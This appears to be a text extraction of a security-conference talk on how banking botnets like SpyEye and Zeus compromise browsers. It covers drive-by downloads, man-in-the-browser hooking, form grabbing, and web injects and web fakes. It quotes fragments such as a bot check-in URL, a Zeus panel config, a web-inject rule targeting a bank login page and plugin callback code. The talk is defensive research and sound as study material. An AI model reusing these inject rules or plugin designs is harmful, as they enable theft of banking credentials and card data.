Botnets and Browsers
Brothers in the *Ghost Shell*

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Whoami!

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  - Worked previously for Armorize, Coseinc and KPMG
  - Active Speaker at Security conferences
  - Written Content – Virus Bulletin/ISSA/ISACA/CrossTalk/HITB/Hakin9/Elsevier NESE|CFS
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  - PhD Candidate at Michigan State University
    - [http://www.cse.msu.edu/~soodadit](http://www.cse.msu.edu/~soodadit)
Overview and Disclaimer

- Benchmark
  - This talk discusses about the infection model of browsers and bots
  - Botnets have many capabilities. Our target is only browsers and bots.
    - Mainly exploitation of browsers.
  - This talk is not about simple botnet commands. Sorry!
  - Scope is third generation botnets and browser manipulation
  - This research relates to my own efforts and does not provide the view of any of my employers.
Agenda

- Walking through the Agenda
  - Browser Malware Taxonomy
  - Bots & Browsers – Collaborative Design
  - Bots & Browsers – Exploitation Paradigm
  - Browser/ Bot – Web Injects & Web Fakes
  - Conclusion
World Wide Web - Problem
# Browser Malware Taxonomy #
Browser Malware Taxonomy

- Class A – Browser Malware

Browser Malware Taxonomy

- Class B – Browser Malware

Browser Malware Taxonomy

- Class C – Browser Malware

Infection Model – Malware Serving

- Exploiting Web vulnerabilities (XSS/SQL)
  - Obfuscated Code Injected
    - JavaScript eval() – The Evil Machine
      - Browser DOM Calls
        - Rendered Interactive Frames
          - Pointed to Malicious Domain
Drive by Downloads – Insidious Infection

Browser – Loads Malicious URL

Vulnerability in Browser is Exploited

Exploits trigger Shellcode

Malware Binary Dropped

Parasitic Infection Occurs in System

Malware Installed and Connect Back
# Browser/ Bot – Collaborative Design #
Browsers → Botnets: SDK

- Custom Designed SDK
  - Botnets use self-built SDK for infection purposes
  - Browser communication
    - Bots use the SDK functions with plugins to communicate back to C&C using browser interface
  - Concept of Bot Development Kit (BDT) – as similar to SDK
  - Example:
    - SpyEye BDT

SpyEye Plugin's SDK

- Introduction
- API
  - Calling convention
  - Init
  - Start
  - Stop
  - TakeGateToCollector
  - TakeGateToCollector2
  - TakeBotGuid
  - TakeBotPath
  - TakeBotVersion
  - GetState
  - KeepAlive
  - IsGlobal
  - Callback_OnBeforeProcessUrl
  - Callback_OnBeforeLoadPage
  - Callback_OnAfterLoadingPage
  - Callback_ChangePostRequest
  - FreeMem
  - TakeGetPage
  - TakeGetPage2
  - TakeFreeMem
  - Callback_WS2_32_send
  - TakeConfigCrc32Callback
  - TakeBotExeMd5Callback
  - TakePluginsListCallback
  - TakeMainCpGateOutputCallback
  - MainCpGateInput
  - TakeUpdateBotExe
  - TakeUpdateConfig
  - TakeStartExe
- Shellcodes - low-level plugins
- FAQ
  - Q: How to implement webfakes?
  - Q: Why do I need a custom connector plugin?
Bots and Custom Connector Plugin

- **Design of Plugins**
  - Bot requires separate plugin to communicate back with the C&C server
  - Bot sends critical information through GET requests

- **Why Plugin is Used?**
  - Provides modular control over the bots
  - Update the main bot executable present on the victim machine
  - Update the bot configuration directly through admin panel
  - Start/Stop for a bot plugin – Depends on the availability

- **Why Type of Information?**
  - `gate.php?guid={!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector}`
Bots and Custom Connector Plugin

- Design of Plugins
  - API in Action
    - TakeBotGuid / TakeBotVersion / TakeConfigCrc32Callback
    - TakeBotExeMd5Callback / TakePluginsListCallback

Gate.php

Get Page

Custom Connector Plugin

SpyEye Bot

Input – Main Panel

Output – Main Panel
Custom Connector Plugin

- What Lies Beneath?
  - A mediator between bot and the main admin panel
  - Good enough to make decisions whether to send request to C&C or not
  - Generates encryption based channel between C&C and itself
  - Very productive for creating decentralized botnet based on plugins

- Operations!
  - Update bot configuration - UPDATE_CONFIG
  - Update bot executable - UPDATE
  - Manage plugins – PLUGIN
  - Load third-party exe - LOAD
Bot – Custom Connector in Action
# Browser/ Bot – Exploitation Paradigm #
Reality of the Bots

- **Inside Bot - Characteristics**
  - Similar working to ring 3 rootkit
    - DLL hooking and hijacking in userland space
    - Perform injections in web processes
  - Hooks HTTP communication interface
    - Exploit browsers - on the fly content injections
  - Infection = \{Bots + Plugins\}
Man In the Browser (MITB)

- The Reality of MITB
  - Malware (bot/trojan) having an ability to infect victim browsers
  - Capable enough to modify web pages, perform non legitimate transactions
  - Invisible to users and browsers
  - Steal the credit card number efficiently
  - Spying browser sessions

Man In the Browser (MITB)

- Dethroning Protection Mechanism
  - Exploits the victim system and browser environment
    - SSL / PKI does not stop the infections by MITB
    - Two Factor/ SSO authentication module does not stop it
    - Concept of browser rootkits
    - Implements DLL Hijacking
    - Exploits Online Banking

Browser – User Agent Fingerprinting

- User Agent Fingerprinting
  - Detecting the state of running browser in the system
  - Provides plethora of information about browser versions
    - Typically require to serve specific exploits for downloading bots

User visits a malware domain

Browser sends User Agent string

Malware scans the User Agent string

Malware exploits the browser

Malware detects the browser version
# Browser – User Agents

## Firefox 3.6.12

<table>
<thead>
<tr>
<th>Mozilla</th>
<th>MozillaProductToken. It's a Mozilla based user agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>5.0</td>
<td>Mozilla Version</td>
</tr>
<tr>
<td>Windows</td>
<td>Platform</td>
</tr>
<tr>
<td>U</td>
<td>Security values:</td>
</tr>
<tr>
<td></td>
<td>• N for no security</td>
</tr>
<tr>
<td></td>
<td>• U for strong security</td>
</tr>
<tr>
<td></td>
<td>• I for weak security</td>
</tr>
<tr>
<td>Windows NT 6.0</td>
<td>Operating System:</td>
</tr>
<tr>
<td></td>
<td>Windows Vista</td>
</tr>
<tr>
<td>en-US</td>
<td>Language Tag, indicates the language for which the</td>
</tr>
<tr>
<td></td>
<td>client had been localized (e.g. menus and buttons in</td>
</tr>
<tr>
<td></td>
<td>the user interface)</td>
</tr>
<tr>
<td></td>
<td>en-US = English - United States</td>
</tr>
<tr>
<td>rv:1.9.2.12</td>
<td>CVS Branch Tag</td>
</tr>
<tr>
<td>Gecko</td>
<td>The version of Gecko being used in the browser</td>
</tr>
<tr>
<td>20101026</td>
<td>Build Date:</td>
</tr>
<tr>
<td></td>
<td>the date the browser was built</td>
</tr>
<tr>
<td>Firefox</td>
<td>Name:</td>
</tr>
<tr>
<td>3.6.12</td>
<td>Version</td>
</tr>
<tr>
<td>.NET CLR 3.5.30729</td>
<td>.NET framework</td>
</tr>
<tr>
<td></td>
<td>Version : 3.5.30729</td>
</tr>
<tr>
<td>.NET4.0C</td>
<td>.NET framework</td>
</tr>
<tr>
<td></td>
<td>Version : 4.0 Client Profile</td>
</tr>
</tbody>
</table>

---

**Firefox**

version 3.0.2

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Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318
Fedora/3.0.2-1.fc9 Firefox/3.0.2

![Firefox User Agent](image)

**Device**

Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; 
Nexus One Build/FRG83) AppleWebKit/533.1 
(KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

Optional. In the Android User-Agent, if this “mobile” string exists, it signals a mobile user (rather than, for example, a tablet user).
Real Time Example: Browser Sniffing

Sniffer.js is passed in cookie
Real Time Example: Browser Sniffing

```javascript
// Attempts to discover what operating system the client is using.

// function discoverOS()
{
    // What platform are we on?
    isWin = ((userAgent.indexOf("win") != -1) || (userAgent.indexOf("16bit") != -1))
    isWin95 = ((userAgent.indexOf("win95") != -1) || (userAgent.indexOf("windows 95") != -1))
    isWin16 = ((userAgent.indexOf("win16") != -1) || (userAgent.indexOf("16bit") != -1) ||
               (userAgent.indexOf("windows 3.1") != -1) || (userAgent.indexOf("windows 16-bit") != -1))
    isWin31 = ((userAgent.indexOf("windows 3.1") != -1) || (userAgent.indexOf("win16") != -1) ||
                (userAgent.indexOf("windows 16-bit") != -1))
    isWinME = ((userAgent.indexOf("win 9x 4.90") != -1))
    isWin2k = ((userAgent.indexOf("windows nt 5.0") != -1) ||
               (userAgent.indexOf("windows 2000") != -1))
    isWinXP = ((userAgent.indexOf("windows nt 5.1") != -1) ||
               (userAgent.indexOf("windows xp") != -1))
    isWinVista = (userAgent.indexOf("windows nt 6.0") != -1)
    isWin7 = (userAgent.indexOf("windows nt 6.1") != -1)
    isWin64 = ((userAgent.indexOf("wow64") != -1) ||
                (userAgent.indexOf("win64") != -1))

    // NOTE: Reliable detection of Win98 with Navigator 4.x and below may not be possible since you just get "Windows" in the user-agent.
    isWin98 = ((userAgent.indexOf("win98") != -1) || (userAgent.indexOf("windows 98") != -1))
    isWinNT = ((userAgent.indexOf("winnt") != -1) || (userAgent.indexOf("windows nt") != -1) && !isWinXP)
    isWinCE = ((userAgent.indexOf("wince") != -1) || (userAgent.indexOf("windows ce") != -1) ||
                (userAgent.indexOf("windowsce") != -1))
}```
Browser Exploit Packs and Bots

- Is This True Artifact?
  - Yes it is.
    - BEP’s are used in conjunction with botnets
    - On successful exploitation, bot is dropped into victim machine
    - Harnessing the power of two different frameworks to deliver malware
    - Some traces have been seen of ZEUS (Botnet) + BlackHole (BEP)

```php
$DBHOST = "localhost";
$DBNAME = "Zeus";
$DBUSER = "root";
$DBPASS = "pass";
$ADMINPW = "aaf4c61ddce5e8a2dabede0f3b482cd9ae9434d"; //SHA–1 Hash from your password
$ACTIVATION_PASSWORD = "suckit";
$BANTIME = 86400;
$SOUND = "Disabled";
$COUNTRIES = array("RU" => "ashrfwdogsfvxn.exe", "DE" => "ashrfwdogsfvxn.exe", "US" =>
  "ashrfwdogsfvxn.exe");
```
Browser – Screen Scrapers

- **Why?**
  - Capturing screenshots from victim machines during bank transactions
  - It is possible to capture whole system screenshots not only browser activities
  - Provides additional support for bots for data exfiltration
  - Exploit the system level functions and generic modules

- **How?**
  - Mouse cursor is the reference point which is the center of the screenshot
  - Explicit rules are defined for capturing screenshots
  - Rules consist of following parameters
    - URL_MASK
    - WIDTH
    - HEIGHT
    - MINIMUM_CLICKS
    - MINIMUM_SECONDS
Browser – Screen Scrapers

Spy Eye

Get Screenshots

Bot GUID:

Report date region:

Submit

3/2/2006

AdminMICROSOFT-9B43B1A66E6C5A4

Continue login

AdminMICROSOFT-9B43B1A66E6C5A4

"libertyreserve.com"

Login

Get protected
Browsers - Form Grabbing

- Why?
  - Keylogging produces plethora of data
  - Form grabbing – extracting data from the GET/POST requests
  - Based on the concept of hooking and DLL injection
  - Virtual Keyboards
    - Implements the form grabbing functionality to send POST requests
    - No real protection against malware
Browsers - Form Grabbing

- **Facts and Reality**
  - All the botnets (Banking, IRC etc) use this technique
  - Very hard to overcome the consequences
  - All browsers can be circumvented to execute non legitimate hooks
Credit Card Grabber - Verification

- Why the Credit Card number stealing is a success?
  - Bots are always successful in extracting credentials from the POST request
  - Question – Aren’t bot make mistakes in extracting Credit Card (CC) numbers?
  - Well, bots are very smart in nature. They use inbuilt CC plugins.
  - CC Verification – The credit card number is verified against LUHN’s algorithm prior to send it to botnet database. Viola!

<table>
<thead>
<tr>
<th>Card Type</th>
<th>Prefix(es)</th>
<th>Active</th>
<th>Length</th>
<th>Validation</th>
<th>Symbol for coverage chart</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bankcard[3]</td>
<td>5610, 560221-560225</td>
<td>No</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>BC</td>
</tr>
<tr>
<td>China Union Pay</td>
<td>622 (622126-622925)</td>
<td>Yes</td>
<td>16, 17, 18, 19</td>
<td>unknown</td>
<td>CUP</td>
</tr>
<tr>
<td>Diners Club Carte Blanche</td>
<td>300-305</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-CB</td>
</tr>
<tr>
<td>Diners Club enRoute</td>
<td>2014, 2149</td>
<td>No</td>
<td>15</td>
<td>No validation</td>
<td>DC-eR</td>
</tr>
<tr>
<td>Diners Club International[4]</td>
<td>36</td>
<td>Yes</td>
<td>14</td>
<td>Luhn algorithm</td>
<td>DC-Int</td>
</tr>
<tr>
<td>JCB</td>
<td>35</td>
<td>Yes</td>
<td>16</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>JCB</td>
<td>1800, 2131</td>
<td>Yes</td>
<td>15</td>
<td>Luhn algorithm</td>
<td>JCB</td>
</tr>
<tr>
<td>MasterCard (debit)</td>
<td>4110, 4110-4110, 4111, 4112, 4113</td>
<td>Yes</td>
<td>16, 18</td>
<td>Luhn algorithm</td>
<td>MasterCard</td>
</tr>
</tbody>
</table>
# Browser/ Bot – Web Injects & Web Fakes #
Web Injects — Infection on the Fly

- Web Injects
  - Injecting incoming request with malicious content
  - Web page is tampered which looks legitimate
    - Primary aim is to inject credential stealing forms and input tags
    - Similar concept is sued to inject pointers to remote malware site.
    - Concept of Third Generation Botnets (Give me your money 😊)

```html
set_url https://click.alfabank.ru/ALFAIBSR/ControllerServlet* G
data_before
<input class="text_login" type='password' name='password' />
data_end
data_inject
<tr>
<td>
<input class='text' type='text' name='ATH' size='13' value="" style="display:none" disabled="true" ">
</td>
</tr>
</table>
</body>
</html>
```
Web Injects – How?

- **Web Injects**
  - **DLL Injections**
    - Long live exploitation technique
  - **Browser Libraries**
    - **ffhookdll.dll**
      - The name can be different but the basic exploitation remains same
      - Hard to edit the Firefox executable. So DLL injection serves best
      - Injecting malicious DLL to the Import Address Table using IAT hooking.
    - **iehookdll.dll**
      - Used for exploiting Internet Explorer communication interface
    - **Webinjects.txt**
      - Rule file used for defining injection metrics (discussed in next part)
      - Used for debugging purposes to test and verify the injections before the actual bot performs infection
      - The exploitation is done on the HTTP responses returning back form the sever
Web Injects – Log Detection

Web Injects – Action
Web Injects – Metrics

- What is meant by GPH flags?
  - Exploitation and infection metrics
    - **G** - injection will be made only for the resources that are requested by the **GET**
    - **P** - injection will be made only for the resources that are requested by the **POST**
    - **L** - is a flag for grabbing content between the tags `data_before` and `data_after` inclusive
    - **H** – similar as **L** except the ripped content is not included and the contents of tags `data_before` and `data_after`
Web Injects – Zeus and SpyEye

- Web Injects
  - Sequence of metrics (as discussed earlier)
    - SpyEye – sequence should follow `data_before, data_inject, data_after`
    - Zeus – sequence does not matter
  - Injection content
    - SpyEye requires specific rules to be designed using `set_url`
    - Zeus primarily injects malicious Cascading Style Sheets (CSS) and JavaScripts (JS).
  - Source – bots
    - Zeus and SpyEye bots perform the requisite infection
    - Bot reads the configuration parameters using plugin interface
    - Browser’s HTTP communication channel is infected
Web Fakes

- **Understanding Web Fakes**
  - Plugins used to spoof the content in browsers
  - Supports both protocols HTTP/HTTPS
  - Based on the concept of internal URL redirection
  - All browsers are affected

- **How?**
  - Plugins use the defined metrics in the configuration file
    - URL_MASK
    - URL_REDIRECT
    - FLAGS
    - POST_BLACK_MASK
    - POST_WHITE_MASK
    - BLOCK_URL
    - WEBFAKE_NAME
    - UNBLOCK_URL
Web Fakes – Function Calls

54.  
55.  DLEXPORT void Callback_OnBeforeLoadPage(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szPostVars, OUT PCHAR *lpszContent, OUT PDWORD lpdwSize)
56.  {
57.      if (!strstr(szUrl, "google")) {
58.          DebugWrite("Output : \n{ %s }\n", data);
59.          if (!checkmem_forread(lpszContent, sizeof(DWORD))) {
60.              DebugWrite("[ERROR] : Ahtung! : *lpszContent == 0x0000 is not readable", *lpszContent);
61.              return;
62.          }
63.          *lpszContent = (PCHAR)malloc(sizeof(data));
64.          if (!*lpszContent) {
65.              DebugWrite("[ERROR] : Ahtung! : *lpszContent == NULL"), *lpszContent);
66.              return;
67.          }
68.          CopyMemory(*lpszContent, data, sizeof(data));
69.          *lpdwSize = sizeof(data);
70.      }
71.  }
72.  
73.  
74.  {
75.      if (!strstr(szUrl, "google")) {
76.          DWORD dwMaxSize = 200000;
77.          if (dwMaxSize < strlen(szPageContent))
78.              return;
79.          *szOut = (PCHAR)malloc(dwMaxSize);
80.          if (!*szOut)
81.              return;
82.          CopyMemory(*szOut, szPageContent, strlen(szPageContent));
83.          PCHAR szPos = strstr(*szOut, "porno");
84.          if (szPos) {
85.              CopyMemory(szPos, "xxxxx", 5);
86.          }
87.          *lpdwSize = strlen(szPageContent);
88.      }
89.  }
Web Fakes – Real Example
The Ghost (Exploitation) Shell Persists
Conclusion

- **So What !**
  - Third generation botnets success greatly depends on browsers
  - Browser has become the most predominant part of exploitation
  - Dropping bots using Drive by Downloads is easy process
  - Hooking browser is not a big stake factor
  - Bot Development Kits (BDKs) are in action
  - Browser is the main windows to the internet, so as to the risk
  - Hard to prevent malware that resides inside browsers
  - Plugins-Addons are also responsible for circumventing the browser security
  - Protection requires much more efforts than the present times.
Questions / Thanks

- **BruCon Crew**
  - For all the support and help

- **SecNiche Security Labs**
  - All my team members for their cooperation

- **Contact**
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